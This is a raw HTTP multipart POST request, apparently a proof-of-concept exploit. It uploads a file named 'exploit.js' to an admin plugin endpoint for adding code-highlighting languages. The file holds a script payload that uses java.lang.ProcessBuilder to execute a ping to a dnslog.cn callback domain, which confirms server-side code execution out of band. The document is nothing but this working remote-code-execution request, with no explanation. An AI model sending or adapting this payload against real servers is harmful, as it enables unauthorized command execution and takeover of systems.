POST /admin/plugins/newcode/addlanguage.action HTTP/2
Host: ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Content-Length: 372
Content-Type: multipart/form-data; boundary=f6dae662e22371daece5ff851b1c4a39
--f6dae662e22371daece5ff851b1c4a39
Content-Disposition: form-data; name="newLanguageName"
test
--f6dae662e22371daece5ff851b1c4a39
Content-Disposition: form-data; name="languageFile"; filename="exploit.js"
Content-Type: text/javascript
new java.lang.ProcessBuilder["(java.lang.String[])"](["ping 5hnlyo.dnslog.cn"]).start()
--f6dae662e22371daece5ff851b1c4a39--